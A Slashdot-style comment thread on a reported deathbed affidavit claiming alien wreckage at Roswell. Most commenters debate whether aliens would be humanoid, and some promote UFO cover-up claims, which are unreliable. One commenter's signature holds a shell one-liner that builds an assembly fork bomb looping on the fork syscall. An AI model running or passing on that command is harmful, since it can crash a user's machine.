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Deathbed Confession Says Aliens Were at Roswell
xnuandax writes "The army's explanation of weather balloons in the Roswell, New Mexico incident 60 years ago has been dealt a serious public relations blow. Late Army Lt. Walter Haut had signed a sealed affidavit prior to his death last year asserting that he had witnessed the wreckage of an egg-shaped craft and its extraterrestrial crew while working at the Roswell Army Air Field. An article at News.com.au reviews how Haut had worked as public relations officer for the Roswell base and was involved in the original weather balloon explanation of events at the time. This recent evidence would seem to confirm speculation that egg-shaped saucers are notoriously difficult to fly safely at low altitude."
As much as I want to believe aliens are among us, it just doesn't make sense that a civilization advanced enough to cross interstellar space would crash in New Mexico. And the chances of aliens being humanoid in appearance are close to zero.
First off, it may be that the visitors have a limited budget, just like anything we do does. One allocates the risk based on this budget. Even though we may have the money to make or buy the Ultimate Safest Volvo, it does not mean we will.
As far as appearence, here are some possibilities:
1. They are interested in us *because* we look like them.
2. They are us from the future.
3. We are a degerate form of them.
4. The human-like form is somewhat universal after all.
Table-ized A.I.
What the hell are you talking about!
Humans are a result of the natural evolutionary process on this planet. We are "humanoid" because it's an efficient shape to have. I think it's fairly likely that there *are* aliens with a humanoid shape (two legs, arms), given that there *are* planets, out there, similar to earth. Is it so difficult to imagine that given similar conditions, life on a different planets could converge towards similar solutions to the same problem of survival in nature?
I would love to leave behind one last, great practical joke such as this.
No, we are not humanoid because it is efficient, we are humanoid because that's just the way it turned out, and it wasn't detrimental to breeding.
People ascribe far too much purpose and design to evolution.
'it would be kinda strange for an individual or crew capable of navigating a craft at least twenty four trillion miles to not know how to fly a spacecraft well enough to avoid crashing.'
I don't see how that is unusual at all. They navigated the craft at least twenty four trillion miles THROUGH SPACE before crashing it in a unique and completely alien atmosphere with flight conditions they have never encountered before and that their craft obviously weren't designed to handle.
That doesn't seem all that strange to me.
Big deal 1 guy admits it, the video below shows 22 of 400 senior Government, NASA, Airfoce & other top Military personel admitting it on National/International television that aliens are real & Gov has been hiding it.
The Disclosure Project:
http://www.youtube.com/watch?v=7vyVe-6YdUk
Yeah it's almost 2 hours long, but it will blow your mind!
I wonder how much longer they can keep denying the more than obvious.
Nuff said.
Adeptus
No trees were killed in the making of this post; however, many trillions of electrons were horribly inconvenienced.
I believe the first F-117 Stealth (invisible to all high tech anti-air defenses) was brought down over Serbia by an AK-47. The Pentagon story is it was brought down with an SA-3 with a hacked radar, but either way a primitive tool brought it down.
Unless they employed eugenics at some point in their history, there's no guarantee that even an advanced society doesn't have "normal" people. That's something that always pissed me off about Star Trek (even as a fan): everyone was a super-genius, unless you dedicated yourself to raising grapes in France or you were a junior member of an away team. ;-)
You need to think about British Teeth. British people (including me) tend to have crooked teeth. Americans tend not to. Now why I was growing up, the dentist employed a receptionist who's job was to keep people away. The dentist you see got paid pretty well just to be there, he had no financial incentive to treat people. Now in America, it's presumably not the same - dentists actively market cosmetic dental treatment, because that's where the money is. And parents will scrape together the money to pay for it.
Now in civilisation a few hundred years more advanced but still free, it's likely that all sorts of medical treatments would be available, everything from teeth straightening to IQ enhancements and drugs that make you look healthy or age less quickly. In which case, you wouldn't meet anyone stupid or ugly.
Come to think of it Scandinavia is not particularly capitalist but the same would probably apply there. I think unless we end up in some totalitarian dystopia, it's probably inevitable.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Let me brainstorm for a minute. Don't take any of this as gospel, I'm neither an evolutionary biologist nor especially knowledgable about life on other planets
Not necessarily. There's only so many variations on relative sensory organ placement, and many of them will not work as well in a variety of environments as ours does. If your eyes are below your nose, for example, then your breathing passage has to go down past the eyes, while your optic nerve has to wend around the breathing passage. This is obviously doable, and I wouldn't be surprised if there are some species that work this way, but it seems likely that the reason most animals have the setup we do, after three billion years of evolution, is that it works really well in almost all situations.
Even organisms that evolve on other planets are subject to the same laws of physics as the ones here; six-foot-tall exoskeletal insects are not feasible, simply because exoskeletal structures can't support the weight of a creature six feet tall. (Or so I've been led to believe.) But it requires a brain of a certain size in order to develop general intelligence capable of abstract thought and problem-solving the way humans can. Combine those two and it's easy to see that creatures can't really be small enough to have an exoskeleton and yet also large enough to have a brain capable of human-level intelligence.
And intelligence isn't just brainpower; it's also the ability to manipulate the environment in order to experiment upon it. This requires appendages with fine enough motor control to manipulate small objects in a precise manner, which pretty much rules out any sea creature: Sea creatures need flattened, webbed appendages in order to swim, and those wouldn't be very good at fine manipulation. Fish-people ain't gonna happen.
Okay, that's enough speculation. But I do think it's not THAT unlikely that other intelligent races would be bipedal, upright, large-brained, and endowed with fine manipulators on their upper appendages. Maybe they'd have evolved from catlike or doglike or birdlike creatures instead of apelike creatures, but...
"Destroy science and religion. Science would re-emerge exactly the same; but not religion." - Penn Jillette, paraphrased
But you also have convergent evolution. Thus, the eye has arisen independently some 22 times in the tree of life, IIRC. You mention the head, which has been a reproductively successful adaptation. What I'm saying is not that the first successful body-plan that happen to evolve was the head and thorax, so that's what all descendants got. What I'm saying is that the environment selects body-plans that are beneficial, which is why we observe example of convergent evolution, such as legs and wings in chordates and insects.
As an example, we have radially symmetrical animals, such as jellyfish, and bilaterally symmetrical animals, such as chordates. Stephen Pinker talks about how any animal navigating an environment with gravity would benefit from a bilaterally symmetrical body plan. Thus we might reasonably conclude that any life form on a planet that can randomly evolve a bilaterally symmetrical body would have reproductive success. Once you have bilaterally symmetry, I don't think it's too much of a leap to think they could evolve legs, useful on land and water, and heads with brains. Once you have legs, then you can evolve manipulative appendages, such as hands. If you have two legs, you might not do too much manipulation with them, because you benefit more from them being evolved more for walking than manipulation. But if you have an extra pair of legs ( if the animal is bilaterally symmetric, it probably wouldn't have 3 or 5 ), then you might start using the extra pair to manipulate objects all the time, instead of walking on them. Then the lineage would experience selection for better and better tool manipulation with its extra legs -- so they become 'hands'. Once you're walking on one pair of legs, and manipulating objects with the other, bingo! -- you've got a humanoid.
So once you can accept that a body plan of a torso, which has all your organs for digesting food and eliminating waster, and a head, for sensing the environment and thinking about it, is a body-plan that was successful and therefore selected, rather than just a random body plan that was just passed on, it's not to much of a leap to say that one of those walking animals stood up and used two of those legs to manipulate objects instead of walk. And if convergent evolution can happen among independent lineages here on earth, why not in similar environments, like a rocky planet, somewhere else in space? Is it too much of a stretch to imagine wings or eyes evolving in extra-terrestrial animals? How about then legs or arms and hands?
To describe a 'humanoid', all you need is an upright torso with a head, two legs for locomotion, and two manipulative hands. I don't think it's too far of a stretch to say that such a body plan for an intelligent, conscious, tool-making creature would be selected in a convergent evolution scenario.
Then the question is, animals of what body-plan would be developing vehicles that can travel interstallar space? Elephants and dolphins might be as smart as we are, but without appendages to manipulate objects, they can't really build tools, buildings, or vehicles. Once you have manipulative appendages, then evolution might select animals who can better manipulate objects and their environment. That means they get smarter. Learning and technology develop. Then you get tools, buildings, and vehicles. So, there may be a lot of different intelligent animals with weird body plans, such as a radially-symmetrical jelly-fish like creature. But without the manipulative structures, such as hands, we wouldn't expect them to be building space ships, and winding up landing or crash-landing on other planets.
Computers are useless. They can only give you answers.
-- Pablo Picasso
Organized religion as we know it would probably crumble
You mean kind of like how, in the face of proof of things like how the universe didn't revolve around the earth, the Catholic Church changed its views on cosmology.
Oh wait. No, they opted for things along the lines of killing the people who presented the evidence instead. My bad.
*Never* underestimate the lengths that people in power will go to in order to remain in power.
Everything I need to know I learned by killing smart people and eating their brains.
I was watching a show where some biologists were in a helicopter, shooting grizzly bears with darts, and then tagging them to track them, and also drawing samples from them.
I realized that that bear would have what we would essentially describe as an abduction experience. The bear was just minding its own business, when a strange vehicle in the sky with humanoids appeared. Suddenly, it felt a pain in its rear, and everything seemed fuzzy and dreamlike. Then the humanoids performed a weird surgery on it, drawing blood and other tissue, and implanting a small device in it. When it woke up, it's memory was incomplete.
And what was the ultimate purpose of the humanoids? They wanted to see how it reproduced! Just like what those abduction people claim aliens are interested in us about. Performing weird experiments on our genitals, taking samples, and implanting small objects. Debunkers will say that this is evidence of the Freudian human subconscious creating the experience -- of course, it turns out to be about sex, because humans are dirty little creatures who are fantasizing all the time. Real aliens would be heavenly, like angels, and never think about such dirty, devilish things, only being interested in 'higher' things, like math, science, and art.
But wait! The whole 'project' of life is reproducing -- i.e. sex. To say that aliens would only be interested in mathematics, philosophy, sharing knowledge, and are some kind of celibate race, is looking at it from a Victorian sexually-repressed world-view. Living organisms, or Life itself, by definition, is all about reproduction. We should think that, from evidence, the first things aliens would want to know about us is how we reproduce, what our private parts look like, and how they work. Do we have male and female? Do we lay eggs? Do we take care of our young? Do we live in groups or alone? Are we in symbiosis with another organism? Everything else you would want to know about humans comes from that. Our reproductive biology is the basis of our existence.
Computers are useless. They can only give you answers.
-- Pablo Picasso
If you have a look at what paleontologists have reconstructed since the 1960's from the Burgess shale, you will see forms that ARE really weird.
I'm sorry but this is just not a conversation that makes any sense. We haven't even got the vaguest idea of what the boundaries are for the conversation "What is Life?". The idea that a species evolving in a different environment, I mean really different, is going to in any way resemble human beings, is simply ludicrous. You gotta cut back on the Star Trek, the numerous humanoid aliens there are simply a function of make-up vs. CGI budget.
We (human beings) are running around with DNA from an ancient ancestor that had 5 fold symmetry, 4 limbs + head, 5 fingers on each hand, five toes on each foot, and five primary orifices in the skull (think inverted appendage.) Before that we inherited DNA from a worm... if you look at a human body morphologically we're worms that evolved better means of locomotion, and the ability to manipulate our local environment. Any alien you see owning a head with a face you can recognize, a spine, and limbs would have had to evolve on this planet. There are trillions of evolutionary paths that could have made life on earth wildly different, and to assume the path that produced us is the only path that could have produced sentient life with the ability to manipulate it's environment is not only myopic, it's homocentric to a fault.
I won't argue that certain structures would prove useful on earth and evolve repeatedly given our enviornment. Even on earh, however there are vastly different organism operating in wildly different circumstances, no light, crushing pressure and heat, sulphur as an energy cycle, even organisms that exist in ultracold and environments lacking oxygen. That's just on this planet, using precisely the same DNA, and carbon based biology.
I could easily imagine life based on completely different chemistry... carbon will usually be the most likely chemical backbone, though at higher temperatures sillicon and metals might combine in very interesting ways. Sensing is a vital characteristic of life, but organs of sense might be tremendously different for another species. They might sense any or all parts of the electromagnetic spectrum, and do so with organs very different from ours. How and what they consume and excrete might be very different than what we understand... even on earth what animals breath out, plants breath in... what might setient beings who move as slowly as plants occur to us like? Plants have powerful sensory capabilities, but they are very unlike humanoids.
On earth the octopus is a prime example of a mollusk well on it's way to becoming a technological intelligence. Here's an animal with much in common with human beings but also very alien... communication through melenophores... that's way ourside our normal thinking, and this is an intelligent terrestrial species. How much more different might a being be that evolved in a cold methane lake, or whose fundamental chemisty is composed of complex sugars instead of proteins.
You're going to have to stretch your head a whole lot more if you're goin to imagine life elsewhere. The chances of it being a lot like us is slim at best. Anyway you're going to have to sift through a lot of microoganisms before you find any larger than unicellular life out there. Of course, there's nothing preventing unicellular communities from becoming sentient. That's a kind of life we should be very careful not to miss, simply because it doesn't look like us.
I have wondered whether anyone has ever studied the question of how connected the brain and the eye are evolutionarily.
EYes are really the first localized sense that develops in the body - as I understand it, during the development of the embryo, the eyes actually start out as brain material that specializes. So did the eyes actually develop out of a previously existing cluster of neurons, or did highly efficient clusters of neurons develop in lockstep with the immediately behind the eyes as they became sharper and more useful simply because so much processing capacity was required right there, close by.
And once you have a lot of processing capacity nearby, it's not the long a reach for mother nature to start building the decision making algorithms nearby - I mean, if you've got all this hardware there anyway, you might as well start using it during the 8 hour maintenance cycle for contingency planning and such.
If that works, we might even add extra capacity for processing during the day shift. No promise though, we'll see how this works out . . . [G]
Pug
An Invisible Entity of Vast Power whose existence must be taken on faith alone: Liberal Media
Need to know what? UFO's weren't classified in the 1940's. They were new and weird. The military and political structures of the day were making it up as they went with regard to the super-paranoid secrecy structures we are so familiar with today. That's why the Roswell staff made the decision to broadcast to the world that they had retrieved a crashed flying saucer. They didn't have standing orders not to.
--And I imagine that if you work on a dull little air training base in the middle of nowhere, when something like a crashed UFO enters your life, you might consider it awe-inspiring and important to all humans on the Earth. You might think that the rational thing to do would be to share news of it with the world. The gues at Roswell weren't paranoid presidential military advisors. They were Air Force working stiffs posted in the middle of nowhere on a boring little training base.
Of course, when the brass from the important parts of the military showed up, they put an end to that. The gears of secrecy had been beginning to turn in Washington for a few years with regard to UFO's, and though there was no official doctrine at that point, when a UFO crashed in your backyard, the government had enough paranoid minds at the top to know it was in their best interest to lock everything down tight. So the Roswell staff was forced to officially retract the original story and replace it with the tin-foil balloon thing.
-FL
Unlikely. Civillian flights have to follow flight-plans which constrains you to fixed corridors without much deviation allowed. Over Europe there was a big slice of heavily restricted airspace called the ADIZ where flights had to followed fixed paths and maintain contact with the appropriate ATC.
Most Soviet teaser missions were with straight military aircraft such as the "bear" bomber. No ambiguity there, they were clearly military aircraft and were marked as such. In any case the Russians would not put any high-tech military gear onto an aircraft that landed in an unfriendly country. They were paranoid about their technology (and how backwards it was at the time). What may have been confuing though are aircraft like the Tu-134 with a glass nose, looking very much like "Crusty", its bombing variant. These apparantly were dual-use and could be used for recon.
Let's add to the furvor of your thinking pattern.
funny how computing exploded in capabilities right after that date.
Strange how electronics jumped 10 fold giving us a rapid advance in technology.
rocket designs improved, lots of technological advancments started after that dat that were faster than ever recorded in histroy.
Velcro.. Yeah that was a NASA invention, riiiiight. I bet the egg was full of the stuff.
The funny part is that talking like that really riles up the conspiracy nutjobs. They get wild eyes and start yelling "You're right! OH MY GOD! YOUR RIGHT!"
and start calling friends about their new proof that the aliens were real because of technology.
Do not look at laser with remaining good eye.
Why did you chose to compare Iraq with Germany and Japan? There are hundreds of examples of occupied countries that fought back against their invaders. The case of France in WW2 when the resistance movement was a very important factor in weakening Germany. Several African and South American countries resisted European invaders for centuries. The Irish revolted against English occupation for 800 years until they got an independent government. You can't just cherrypick a couple of examples from a sample space of hundreds and try to build a cohesive argument on it. Like it or not, Saddam seems to have kept Iraq reasonably stable compared to the mess that Bush and Cheney are making of it.
"There is no instance of a country having benefited from prolonged warfare" - Sun Tzu
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